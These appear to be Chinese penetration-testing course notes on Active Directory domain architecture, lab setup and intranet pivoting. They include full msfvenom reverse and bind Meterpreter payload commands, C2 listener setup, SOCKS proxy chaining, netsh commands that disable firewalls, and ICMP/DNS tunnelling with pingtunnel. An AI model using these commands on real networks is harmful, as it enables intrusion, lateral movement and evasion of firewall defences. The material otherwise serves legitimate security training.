一个域内至少需要两台DC,需要一台用作备份
#A-G-DL-P策略:
A:用户账户
G:全局组
DL:域本地组
P:许可,资源权限
先将用户账号添加至全局组中,再将全局组添加至域本地组,为域本地组分配资源权限。
1、域环境应用
• 账号集中管理
• 软件集中管理
• 环境集中管理
• 增强统一安全性
2、域环境架构
域控制器
成员服务器
客户机
独立服务器
见图:(单域,父域,子域,域树,域森林)
单域是指网络环境中只有一个域,建立一个单独的域足以。
父子域在一个域中划分出多个域,被划分的域为父域,划分出来的域为子域。
域树中的命名空间具有连续性,并且域名层次越深,级别越低。
域林是指一个或多个没有形成连续名字空间的域树组成的域树集合。
3、域环境搭建
准备工作:
关闭防火墙并改计算机名
计算机网络配置静态IP和DNS
安装工作:
DC安装域控和DNS服务
提升到DC域控配置域名
加入工作:
DC上添加域内用户
修改主机名称及加入域
4、域环境差异
加入主机存在域内和域外:
用户切换
加入主机域内用户被控制
域内权限:
域本地组:来自全林作用于本域
全局组:来自本域作用于全林
通用组:来自全林作用于全林
本地域组的权限
Administrators(管理员组) ————最重要的权限
Remote Desktop Users(远程登录组)
Print Operators(打印机操作员组)
Account Operators(帐号操作员组)
Server Operaters(服务器操作员组)
Backup Operators(备份操作员组)
全局组、通用组的权限
Domain Admins(域管理员组)————最最最重要的权限,一般来说域渗透是看重这个
Enterprise Admins(企业系统管理员组)————最重要的权限,其次是去看重这个权限
Schema Admins(架构管理员组)————最重要的权限
Domain Users(域用户组)
A-G-DL-P策略:
A 代表用户账号(Account)。
G 代表全局组(Global Group)。
DL 代表域本地组(Domain Local Group)。
P 代表资源访问权限(Permission)。
A-G-DL-P策略是一种将用户账号添加到全局组中,然后将全局组添加到域本地组中,并为域本地组分配资源访问权限的策略。这种策略使得来自不同域的用户能够通过全局组和域本地组的组织方式,访问本地域中的资源。
5、域环境安全
信息收集:了解当前网络架构和权限分布
权限提升:将当前控制权限提升解决限制
代理隧道:解决内网域中出网和通讯限制
横向移动:利用漏洞和口令等扩大后续战果
权限维持:植入后门或票据等进行后续控制
演示:
1、如何判断在域内
2、如何定位域控DC
3、如何获取其他信息
其他信息:用户及组,网络架构等
手工工具:常见命令,工具插件等
https://mp.weixin.qq.com/s/128Ap8ohEBDweg0jNM-T5g

单域

父域和子域

域树

域森林

内网单域架构-环境搭建-服务安装&加入域内
单域搭建可以参考这篇文章https://fireworm.cc/2024/04/23/%e6%90%ad%e5%bb%ba%e5%9f%9f-%e5%8d%95%e5%9f%9f/
四台虚拟机
windows2016 DC 域控
windows2008 WEB 网站服务器
windows10&7 PC 普通办公电脑
改名和关闭防火墙
2016改名:

关闭防火墙

其他的类似
计算机网络配置静态IP和DNS
DC


DC作为DNS
Web

Win10PC

Win7PC

DC安装域控和DNS服务
DC添加角色和功能

添加Active Directory域服务,后面就一直下一步到安装
将此服务器提升为域服务器


添加密码(有大小写)


后面就是一直下一步到安装,重启
DC上添加域内用户
DC新建用户

右键,新建用户


修改主机名称及加入域
web添加域
就是之前改计算机名那里

输入用户名和密码,就是之前在DC新建的web用户,添加重启
这个时候我们到DC查看就会发现多了一台主机

其他的类似
加入主机存在域内和域外
查看域内
net user /domain
显示没有权限

用户切换
因为不是administrator,可以切换用户

登录到DC域的web用户

通过刚刚的测试

可知,第一种没有登录到域内的,如果要做域渗透测试,只能是这个用户是administrator,不然就不行
第二种就是登录到DC的域内用户
如何判断就是先检查用户权限(administrator/system),如果不是管理员执行不了那些命令那就是域外,可以执行那么就是域内
内网单域架构-信息收集-手工命令&工具插件
利用cs上线,如果是普通用户就考虑提权到管理员,如果直接就是域内用户那么就可以直接执行命令
第169天:内网对抗-基石框架篇&父域子域架构&GPO策略&成员层级&分域管理&信息收集&环境搭建
1、域环境应用
• 账号集中管理
• 软件集中管理
• 环境集中管理
• 增强统一安全性
2、域环境架构
域控制器
成员服务器
客户机
独立服务器
见图:(单域,父域,子域,域树,域森林)
单域是指网络环境中只有一个域,建立一个单独的域足以。
父子域在一个域中划分出多个域,被划分的域为父域,划分出来的域为子域。
域树中的命名空间具有连续性,并且域名层次越深,级别越低。
域林是指一个或多个没有形成连续名字空间的域树组成的域树集合。
3、单域环境搭建
准备工作:
关闭防火墙并改计算机名
计算机网络配置静态IP和DNS
安装工作:
DC安装域控和DNS服务
提升到DC域控配置域名
加入工作:
DC上添加域内用户
修改主机名称及加入域
3.1 父子域环境搭建
准备工作:
关闭防火墙并改计算机名
计算机网络配置静态IP和DNS
安装工作:
安装服务和提升域控
子域加入父域并配置
加入工作:
父子域DC上添加域内用户
成员主机加入域绑定用户
4、域环境差异
加入主机存在域内和域外:
用户切换
加入主机域内用户被控制
域内权限:
域本地组:来自全林作用于本域
全局组:来自本域作用于全林
通用组:来自全林作用于全林
本地域组的权限
Administrators(管理员组) ————最重要的权限
Remote Desktop Users(远程登录组)
Print Operators(打印机操作员组)
Account Operators(帐号操作员组)
Server Operaters(服务器操作员组)
Backup Operators(备份操作员组)
全局组、通用组的权限
Domain Admins(域管理员组)————最最最重要的权限,一般来说域渗透是看重这个
Enterprise Admins(企业系统管理员组)————最重要的权限,其次是去看重这个权限
Schema Admins(架构管理员组)————最重要的权限
Domain Users(域用户组)
A-G-DL-P策略:
A 代表用户账号(Account)。
G 代表全局组(Global Group)。
DL 代表域本地组(Domain Local Group)。
P 代表资源访问权限(Permission)。
A-G-DL-P策略是一种将用户账号添加到全局组中,然后将全局组添加到域本地组中,并为域本地组分配资源访问权限的策略。这种策略使得来自不同域的用户能够通过全局组和域本地组的组织方式,访问本地域中的资源。
5、域环境安全
信息收集:了解当前网络架构和权限分布
权限提升:将当前控制权限提升解决限制
代理隧道:解决内网域中出网和通讯限制
横向移动:利用漏洞和口令等扩大后续战果
权限维持:植入后门或票据等进行后续控制
演示:
1、如何判断在单域内
2、如何判断在父子域内
3、如何定位当前域控DC
4、如何获取当前其他信息
其他信息:用户及组,网络架构等
手工工具:常见命令,工具插件等
https://mp.weixin.qq.com/s/128Ap8ohEBDweg0jNM-T5g

Ø 内网父子域架构-环境搭建-服务安装&加入域内
父域:akaashi.org
FDC:192.168.117.11 DNS:127.0.0.1
FPC:192.168.117.12 DNS:129.168.117.11
子域:ga.akaashi.org
gadc:192.168.117.22 DNS:129.168.117.11
gapc:192.168.117.23 DNS:129.168.117.22
子域:hr.akaashi.org
hrdc:192.168.117.33 DNS:129.168.117.11
hrpc:192.168.117.34 DNS:129.168.117.33
这里也是和上节课一样去改电脑名、关防火墙、改网络
父域
FDC一样安装Active Directory,操作和单域一样
FPC,用户加入FDC,操作一样
子域
也是一样先安装Active Directory
子域配置:

点击更改输入父域的管理员和密码

然后就会找到父域,新域名设置为ga
后面也是设置密码,一直下一步到安装,重启
这个时候来到FDC查看会发现有子域了

hrdc和gadc操作类似
后续的用户加入就类似了,gapc加入gadc,hrpc加入hrdc
Ø 内网父子域架构-信息收集-手工命令&工具插件
如何判断在单域内
命令:
net time /domain

ping

所以这个只能知道子域名,和父域还有另外的子域名没关系
父域是可以看到子域的信息的

可以添加删除信息
子域是不能管理父域和其他子域的
如何判断在父子域内
最简单的判断,使用命令:
net view /domain
显示:

是因为DC的服务没开,把下面的服务开启就行

开启
我这里报错了不知道为什么,服务也开启了,子域下的pc执行不了
下面是FPC执行的结果

这里只有父域和一个子域,HR那个也找不到,应该是哪里出了问题,因为我前面配置hrpc也找不到hr子域
按理说这个应该是会显示三个的,其他子域下面的主机去执行这个也是会显示全部域名
要判断是在父域还是子域内就可以再whoami看看前缀是什么,是一种方法
还有很多方法:https://mp.weixin.qq.com/s/128Ap8ohEBDweg0jNM-T5g
A子域的pc可以通过A子域和父域建立通信,因为A子域下的pc的DNS是A子域,A子域的DNS是父域
B也一样
但是A不能和B子域通信
域内用户执行一些操作,比如下载运行修改系统信息之类的基本都要域管理,域内用户的权限需要域来配置
第170天:内网对抗-基石框架篇&域树林&域森林架构&信任关系&多域成员层级&信息收集&环境搭建
1、域环境应用
• 账号集中管理
• 软件集中管理
• 环境集中管理
• 增强统一安全性
2、域环境架构
域控制器
成员服务器
客户机
独立服务器
见图:(单域,父域,子域,域树,域森林)
单域是指网络环境中只有一个域,建立一个单独的域足以。
父子域在一个域中划分出多个域,被划分的域为父域,划分出来的域为子域。
域树中的命名空间具有连续性,并且域名层次越深,级别越低。
域林是指一个或多个没有形成连续名字空间的域树组成的域树集合。
3、单域环境搭建
准备工作:
关闭防火墙并改计算机名
计算机网络配置静态IP和DNS
安装工作:
DC安装域控和DNS服务
提升到DC域控配置域名
加入工作:
DC上添加域内用户
修改主机名称及加入域
3.1 父子域环境搭建
准备工作:
关闭防火墙并改计算机名
计算机网络配置静态IP和DNS
安装工作:
安装服务和提升域控
子域加入父域并配置
加入工作:
父子域DC上添加域内用户
成员主机加入域绑定用户
3.2 域树林环境搭建
准备工作:
关闭防火墙并改计算机名
计算机网络配置静态IP和DNS
安装工作:
安装服务和提升域控
子域加入父域并配置
孙域加入子域并配置
加入工作:
父子域DC上添加域内用户
成员主机加入域绑定用户
3.3 域森林环境搭建
准备工作:
关闭防火墙并改计算机名
计算机网络配置静态IP和DNS
安装工作:
多个域安装服务提升域控
多个域双方配置信任关系
加入工作:
跨域DC上添加域内用户
跨域成员主机加入域绑定用户
4、域环境差异
加入主机存在域内和域外:
用户切换
加入主机域内用户被控制
域内权限:
域本地组:来自全林作用于本域
全局组:来自本域作用于全林
通用组:来自全林作用于全林
本地域组的权限
Administrators(管理员组) ————最重要的权限
Remote Desktop Users(远程登录组)
Print Operators(打印机操作员组)
Account Operators(帐号操作员组)
Server Operaters(服务器操作员组)
Backup Operators(备份操作员组)
全局组、通用组的权限
Domain Admins(域管理员组)————最最最重要的权限,一般来说域渗透是看重这个
Enterprise Admins(企业系统管理员组)————最重要的权限,其次是去看重这个权限
Schema Admins(架构管理员组)————最重要的权限
Domain Users(域用户组)
A-G-DL-P策略:
A 代表用户账号(Account)。
G 代表全局组(Global Group)。
DL 代表域本地组(Domain Local Group)。
P 代表资源访问权限(Permission)。
A-G-DL-P策略是一种将用户账号添加到全局组中,然后将全局组添加到域本地组中,并为域本地组分配资源访问权限的策略。这种策略使得来自不同域的用户能够通过全局组和域本地组的组织方式,访问本地域中的资源。
5、域环境安全
信息收集:了解当前网络架构和权限分布
权限提升:将当前控制权限提升解决限制
代理隧道:解决内网域中出网和通讯限制
横向移动:利用漏洞和口令等扩大后续战果
权限维持:植入后门或票据等进行后续控制
单域介绍:
类比小公司没什么部门,统一管理
父子域介绍:
类比公司总部和公司分部的关系,总部的域称为父域,各分部的域称为该域的子域。
域树林介绍:
类比公司总部和公司分部的关系,分部下面还有下属部门,下属部门就是域树的组成。
域树中的命名空间具有连续性,并且域名层次越深,级别越低。
子域和父域就了解到,一个域管理员只能管理本域,不能访问管理其他域,
如果需要互相访问则需要建立信任关系,信任关系就是连接不同域的桥梁,
不同域之间建立信任关系后,就能实现网络资源共享与管理,通信及传输等。
域森林介绍:
域林是指一个或多个没有形成连续名字空间的域树组成的域树集合。
多个域树通过建立信任关系后的集合就是域森林。例如一个公司进行兼并的时候,公司目前使用的域树xiaodi.org,被兼并公司存在自己的域树xiaodi8.org,在这种情况下就需要域树xiaodi.org和域树xiaodi8.org之间建立信任关系来构成域森林,通过信任管理建立,可以管理和使用整个域森林中的资源,在由域的特点特性保留着兼并公司自身原有特性。
演示:
1、如何判断在单域内
2、如何判断在父子域内
3、如何判断在域树林内
4、如何判断在域森林内
5、域树和域林对比前面
5、如何定位当前域控DC
6、如何获取当前其他信息
其他信息:用户及组,网络架构等
手工工具:常见命令,工具插件等
https://mp.weixin.qq.com/s/128Ap8ohEBDweg0jNM-T5g

Ø 内网域树&域林架构-环境搭建-服务安装&信任配置
看图片去配置,过程都大差不差的,只不过域森林需要配置信任关系
xiaodi8.org新建新林,配置好之后开始新建信任
xiaodi.org:



外部信任:

信任关系:A ↔ B 且 B ↔ C
但 A 不能通过 B 访问 C
林信任:

信任关系:林1 ↔ 林2
林1的所有域 ↔ 林2的所有域
信任方向一般是双向




然后一直下一步直到完成
xiaodi8.org也和上面一样
Ø 内网域树&域林架构-信息收集-手工命令&工具插件
单域:
net view 一个
父子域:
net view 多个
其他命令运行提示多个子域
域树林:
net view 多个
其他命令运行看到三级及以上域名
域森林:
net view 无规则
用户与本机用户不一致
域内用户名 不在当前域 在另外一个域里面 典型的域森林
后期信息收集信任关系等综合判断
第171天:内网对抗-代理通讯篇&无外网或不可达&SockS全协议&规则配置&C2正反向上线&解决方案
#代理技术-SockS配置-网络不可达-通讯解决
解决:信息收集打点和漏洞利用部分
注意:配置连接IP为C2服务器IP
工具:Proxifier Proxychains等
Proxifier使用:
直接看课程演示图形化操作
Proxychains使用:
加入修改配置: /etc/proxychains4.conf
调用加载测试: proxychains4 curl http://192.168.2.22
C2平台:MSF/CS/Sliver/Viper等
实现步骤:
1、在被控机器上获取下一级网段
2、在被控及其上建立SockS节点
3、在工具上配置连接属性和规则触发
#代理技术-正反向监听-网络不可达-C2上线
C2平台:MSF/CS/Sliver/Viper等
实现步骤:
反向监听器:reverse
正向监听器:bind(需主动连接)
CS操作:
直接看课程演示图形化操作
MSF操作命令:
配置反向上线:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.128 LPORT=3333 -f exe -o msf.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run
查看路由表:
run autoroute -p
run post/multi/manage/autoroute
创建socks节点:
auxiliary/server/socks_proxy
配置正向上线:
msfvenom -p windows/meterpreter/bind_tcp LPORT=xx -f exe -o msf.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost xx.xx.xx.xx
set lport 6666
run

Ø 代理技术-SockS配置-网络不可达-通讯解决
C2平台:MSF/CS/Sliver/Viper等
实现步骤:
反向监听器:reverse
正向监听器:bind(需主动连接)
配置

kali:

Web:

SQL:

FILE:

DC:


Web网页主机不能访问到192.168.2.11
Web
CS上线

Socks代理

4a和5的区别就是5需要配置账号密码防止别人用到这个端口

Proxifier
配置文件->代理服务器
地址就是CS服务器的地址,也就是kali,端口是前面开的端口

代理规则:凡是2网段的都走下面117.128的代理

这个时候我们再去访问web上的网页

可以访问到2网段了
fscan
既然已经可以访问内网了,那么就可以用fscan去扫描

现在就是信息打点成功,加入这个Web上面有漏洞,我们成功利用了,获取了Web的权限
SQL
添加监听器

可以发现是没有ip的

生成后门


上线
我们先看SQL的端口开放情况

是没有4444端口的,执行后就会发现多了一个4444端口

在Web主机上面去连接SQL的2网段
connect 192.168.2.129 4444

上线了
C2服务端是反向连接到的Web,而SQL是Web去主动连接的

FILE
file主机上面是2和3网段,依旧是先开启代理
代理



开启之后我们主机尝试:
ftp 192.168.3.135

fscan

DC
这个时候我们就模拟拿下了FILE主机,后续的操作也是类似,去FILE执行后门文件开启4444端口之后,用SQL主机去连接FILE,在FILE上面开启代理,proxifier转发


Ø 代理技术-正反向监听-网络不可达-C2上线
MSF操作命令:
配置反向上线:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.128 LPORT=3333 -f exe -o msf.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
run
查看路由表:
run autoroute -p
run post/multi/manage/autoroute
创建socks节点:
use auxiliary/server/socks_proxy
配置正向上线:
msfvenom -p windows/meterpreter/bind_tcp LPORT=xx -f exe -o msf.exe
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost xx.xx.xx.xx
set lport 6666
run
Web
上线
生成一个连接到192.168.117.128 3333端口的后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.117.128 LPORT=3333 -f exe -o msf.exe
生成的exe文件拿去web执行,开启3333端口
开启msf
msfconsole
选择"攻击模块":通用监听处理器
use exploit/multi/handler
设置载荷类型:Windows系统的Meterpreter反向TCP
set payload windows/meterpreter/reverse_tcp
查看可设置项
show options

设置监听主机IP:0.0.0.0 表示监听所有网络接口
set lhost 0.0.0.0
设置监听端口:3333
set lport 3333
运行
run

上线
信息收集
查看路由
run post/multi/manage/autoroute
run autoroute -p

配置节点
将当前活动的Meterpreter会话放到后台运行,回到MSF主提示符,可以执行其他任务
background
创建socks节点
use auxiliary/server/socks_proxy
查看选项,可以设置账号密码
show options

设置端口
set srvport 8989
运行
run
kali自带的Proxychains工具设置
找到/etc下的proxychains4.conf文件,编辑,在最后加上
socks5 127.0.0.1 8989

配置好后用其访问2网段
proxychains4 curl http://192.168.2.134

利用工具扫描
proxychains4 nmap 192.168.2.134

SQL
也是假设已经拿下了web,现在开始去对3网段通信,需要正向连接
上线
生成正向连接文件
msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe -o 6666.exe
拿去sql执行,这个可能会被杀掉
选择"攻击模块":通用监听处理器
use exploit/multi/handler
设置载荷类型:Windows系统的Meterpreter正向TCP
set payload windows/meterpreter/bind_tcp
设置目标主机的IP地址,也就是SQL的ip
set rhost 192.168.2.135
设置端口
set lport 6666
运行
run

信息收集
查看路由
run post/multi/manage/autoroute
run autoroute -p

看到有3网段
配置节点
将当前活动的Meterpreter会话放到后台运行,回到MSF主提示符,可以执行其他任务
background
创建socks节点
use auxiliary/server/socks_proxy
设置端口
set srvport 12556
运行
run
kali自带的Proxychains工具设置
找到/etc下的proxychains4.conf文件,改成
socks5 127.0.0.1 12556
可以访问到3网段
后续的操作也是类似
总结
流量走向
通过 Web 靶机反向上线 CS,在靶机上启用 SOCKS 代理,将本地主机的流量经 CS 隧道转发到 Web 靶机,由 Web 靶机代替本地主机访问 192.168.2.0 网段,从而实现跨网段访问。SOCKS 属于应用层代理,不改变路由,仅转发连接请求
主机流量 → Proxifier → C2 → Web → 2 网段
SOCKS 出口在哪里,真实 TCP 就在哪里发起
- SOCKS 在 Web → Web 访问内网
- SOCKS 在 Kali → Kali 访问内网
- SOCKS 在主机 → 主机访问内网
-
主机应用产生访问请求
我要连接 192.168.2.134:3389
-
Proxifier 拦截并重定向流量
Proxifier 发现:
- 目标 IP ∈ 192.168.2.0/24
- 命中代理规则
于是 不让应用直连,而是:
原始目标:192.168.2.134:3389 ↓ 代理目标:Kali_IP:SOCKS_PORT -
主机 → Kali(SOCKS 握手阶段)
主机向 Kali 发起 TCP 连接:
主机 → Kali:SOCKS_PORT并发送 SOCKS 控制信息:
SOCKS CONNECT DST_IP = 192.168.2.134 DST_PORT = 3389⚠️ 到这里为止:
- 还没有访问 2 网段
- 只是“告诉代理我要访问谁”
-
Kali 接收 SOCKS 请求(C2 调度)
Kali 上的 SOCKS 服务收到这条指令后:
- 自己 不能直接访问 192.168.2.134
- 但它知道:
- Web 主机可以访问 2 网段
- Web 主机已经通过 C2 隧道在线
于是 Kali 做的事情是:
把这条 SOCKS CONNECT 请求通过 C2 隧道转交给 Web
-
Kali → Web(通过 C2 隧道转发请求)
请你帮我连接 192.168.2.134:3389
-
Web 接收请求并真正发起连接(关键)
Web 主机收到来自 Kali 的请求后:
Web → 192.168.2.134:3389🔥 这是全流程中唯一一次真正访问 2 网段的地方
- TCP SYN 从 Web 发出
- 源 IP = Web 的 2 网段接口 IP
-
2 网段目标返回响应
192.168.2.134 → Web
目标服务(如 RDP)开始返回数据 -
Web → Kali(通过 C2 隧道回传)
Web 将收到的 TCP 数据:
- 按 SOCKS 协议封装
- 通过 C2 隧道
- 发送回 Kali
-
Kali → 主机(SOCKS 返回)
Kali 的 SOCKS 服务将这些数据:
Kali → 主机发送回主机上的 Proxifier
-
Proxifier → 应用程序
第1阶段:外网入口(Web服务器)
# 技术:反向HTTP Beacon
# 原因:Web在外网可达,可以主动连出来
# 步骤:
1. Kali生成: windows/beacon_http/reverse_http
2. Web执行exe → 主动连接Kali
3. Web上线后: beacon> socks 38568
4. Proxifier配置: Kali_IP:38568
5. 结果:主机可访问2网段
流量路径:
主机 → Proxifier → Kali:38568 ← Web主动连接 ← Web beacon
(SOCKS入口) (反向通道)
第2阶段:第一层内网横向(SQL服务器)
# 技术:正向TCP Beacon(Bind TCP)
# 原因:SQL在内网,不能主动出网到Kali,但Web可以访问SQL
# 步骤:
1. Kali生成: windows/beacon_bind_tcp (监听4444)
2. SQL执行exe → 在本地监听4444端口
3. 在Web的beacon中: connect 192.168.2.135 4444
4. Web主动连接SQL的4444端口
5. SQL上线(通过Web中转)
流量路径:
Kali ← Web beacon ← Web主动连接 → SQL:4444
(已控跳板) (正向连接)
第3阶段:后续横向(FILE、DC同理)
# 模式相同,逐级正向连接
1. 在当前已控主机生成Bind TCP payload
2. 在下一跳主机执行
3. 从当前主机connect下一跳
4. 建立控制通道
IP查找
找下一步要通信的地址,命令:
portscan 192.168.2.0/24 1-1000 arp
去web的beacon执行,这个就是web找sql,其他的也是类似
反向 vs 正向对比
| 方面 | 反向连接 | 正向连接 |
|---|---|---|
| 发起方 | 目标主机 | C2/攻击者 |
| 网络要求 | 目标能出网到C2 | C2能入网到目标 |
| 适用场景 | NAT环境、DMZ主机 | 隔离内网、无出网 |
| 隐蔽性 | 较高(混在出站流量中) | 较低(主动连接可能触发告警) |
| 使用 | Web服务器(能出网) | SQL/FILE/DC(隔离) |
完整控制链
控制链:
Kali (C2)
↑ (反向HTTP)
Web (117.148 + 2.134) → socks 38568
↓ (正向TCP:4444)
SQL (2.135 + 3.132)
↓ (正向TCP)
FILE (3.135 + 4.130)
↓ (正向TCP)
DC (4.135)
代理访问链:
主机 → Proxifier → Kali:38568 (SOCKS)
↓
Web beacon
↓ (通过Web的路由)
2/3/4网段
为什么这个组合如此有效?
1. 反向HTTP开头:
- Web在外网,能主动连接Kali
- 建立稳定的命令控制通道
- 同时提供SOCKS代理让你进入内网
2. 正向TCP逐级深入:
- 内网主机不能出网,但可以被相邻主机访问
- 用已控主机作为跳板连接下一台
- 每台都成为新的攻击发起点
3. 代理链维持:
- 只需要Web一个SOCKS代理
- 后续靠系统路由自动转发
- 简化配置,降低出错率
技术细节深挖
Web的SOCKS如何访问3/4网段?
# Web上线后执行
beacon> socks 38568
# 这会在Web上启动SOCKS5服务
# Web还需要路由:
beacon> shell route add 192.168.3.0 mask 255.255.255.0 192.168.2.135
beacon> shell route add 192.168.4.0 mask 255.255.255.0 192.168.2.135
# 这样:
# 你的请求 → Kali:38568 → Web SOCKS → 根据路由转发 → 内网
正向Beacon的连接逻辑:
# SQL上运行beacon_bind_tcp.exe后:
1. 监听 0.0.0.0:4444
2. 等待连接
# Web的beacon执行 connect 192.168.2.135 4444:
1. Web建立到SQL:4444的TCP连接
2. 发送Beacon协议握手
3. 建立C2通道(通过Web中转)
- 先用反向拿下可出网的主机
- 再用正向拿下隔离的主机
只要主机可以和C2服务器通信,就可以用反向
第172天:内网对抗-网络通讯篇&防火墙组策略&入站和出站规则&单层双层&C2正反向上线&解决方案
#防火墙策略-入站规则&出站规则&自定义
1、防火墙默认入站&出站策略
2、防火墙自定义入站&出站策略
内网域防火墙同步策略:
操作:组策略管理-域-创建GPO链接-防火墙设置
更新策略:强制&命令&重启
命令:gpupdate/force
限制端口分为:入站限制端口、出站限制端口、出入站均限制端口。
入站限制端口,出站未限制端口,使用反向连接。
出站限制端口,入站未限制端口,使用正向连接。
出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。
限制协议分为:
入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。
入站限制:
单协议限制,使用其它协议或者反向连接绕过。(隧道技术)
多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)
全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。
出站限制:
参考上面使用正向连接绕过。
出入均限制:
单协议限制,使用其它协议绕过。(隧道技术)
多协议限制,使用未被限制的协议绕过。(隧道技术)
全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。
单层目标机防火墙开启上线解决方案:
1、命令关闭防火墙
2、反向中转连接上线
3、利用隧道技术上线(规则决定)
单层跳板机防火墙开启上线解决方案:
1、命令关闭防火墙
2、正向监听连接上线
3、利用隧道技术上线(规则决定)
双层防火墙开启上线解决方案:
1、命令关闭防火墙
2、SMB协议通讯上线(默认放行)
3、利用隧道技术上线(规则决定)
防火墙实验(适用场景):
1、内网无域环境下
2、内网有域环境下(强制策略同步)
Windows防火墙命令:
参考:https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound
Ø 防火墙策略-入站规则&出站规则&自定义
限制端口分为:入站限制端口、出站限制端口、出入站均限制端口。
入站限制端口,出站未限制端口,使用反向连接。
出站限制端口,入站未限制端口,使用正向连接。
出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。
限制协议分为:
入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。
入站限制:
单协议限制,使用其它协议或者反向连接绕过。(隧道技术)
多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)
全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。
出站限制:
参考上面使用正向连接绕过。
出入均限制:
单协议限制,使用其它协议绕过。(隧道技术)
多协议限制,使用未被限制的协议绕过。(隧道技术)
全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。
Ø 单层防火墙-命令关闭&更改策略-C2上线

C2服务器和Web之间有防火墙但是Web和Sql之间没有,这个就和上节一样,Web反向连接C2,然后Web正向连接Sql就行
Ø 单层防火墙-正向监听&反向中转-C2上线

现在是Web和Sql之间有防火墙,C2和Web之间没有所以正反向都可以,Web不能正向去连接Sql了,只能反向
Web上线后,转发上线

Listen Host是Web的2网段

生成载荷

sql执行,上线
Ø 双层防火墙-命令关闭&隧道技术-C2上线

这个时候都有防火墙,Web依旧反向连接C2,但是Sql既不能正向连接也不能反向连接
如果正向,Web到Sql触发Sql的防火墙,如果反向那么触发Web的防火墙
解决方法就是用命令执行去关闭防火墙
- 关闭第一个防火墙
- C2到Web就是正反向都可以
- Web到Sql就只能反向
- 关闭第二个防火墙
- C2到Web就只能反向
- Web到Sql就只能正向
条件就是取得管理员权限
Windows防火墙命令
参考:https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound
单独内网环境
在一个单独的内网里面,也就是没有域环境的话这样是ok的,Web上线之后执行命令netsh advfirewall set allprofiles state off关闭第一个防火墙,后面就是Sql反向连接Web
内网域环境
在一个域环境中,如果那个口子是在一个域里面,就算C2服务器可以让其上线,但是想要关闭防火墙是不行的,因为它只是一个域下面的主机,关闭防火墙这些操作都需要DC也就是域控来控制,要在主机关闭防火墙之类的就需要输入DC的账号密码,但是真实情况下面我们肯定是不知道的,所以就引出了隧道技术
第173天:内网对抗-隧道技术篇&防火墙组策略&ICMP&DNS&SMB协议&出网判断&C2上线&解决方案
kali 192.168.117.128
Web 192.168.117.148 192.168.2.134
学隧道前先搞清楚
0、不是有互联网才叫出网
1、C2常见上线采用的协议
2、常见的协议层出网判断
常用的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
... ................
#C2上线-开防火墙入站只80&出站只放ICMP:
ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
适用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookup ping等命令
https://github.com/esrrhs/pingtunnel
CS:
./pingtunnel -type server
pingtunnel -type client -l :6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1
监听器配置:
127.0.0.1 6666(后门)
192.168.139.141 7777
MSF:
pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run
#C2上线-开防火墙入站只80&出站只放DNS:
应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
排查出网协议:curl nslookup ping等命令
CS:
-域名申请及配置
-监听器创建及配置
-后门绑定监听器生成
checkin
mode dns-txt
MSF:
pro版本的reverse_dns模块
https://zhuanlan.zhihu.com/p/424351656
https://blog.csdn.net/vspiders/article/details/78999624
#C2上线-SMB-开防火墙入站只445:
SMB一般在防火墙入站默认是开启的,判断目标端口是否开放
适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下
#后续穿透问题
1、Pingtunel配合iox代理Socks内网穿透
2、dnscat2(DNS)配合上线
C2:
接收客户端传递的ICMP
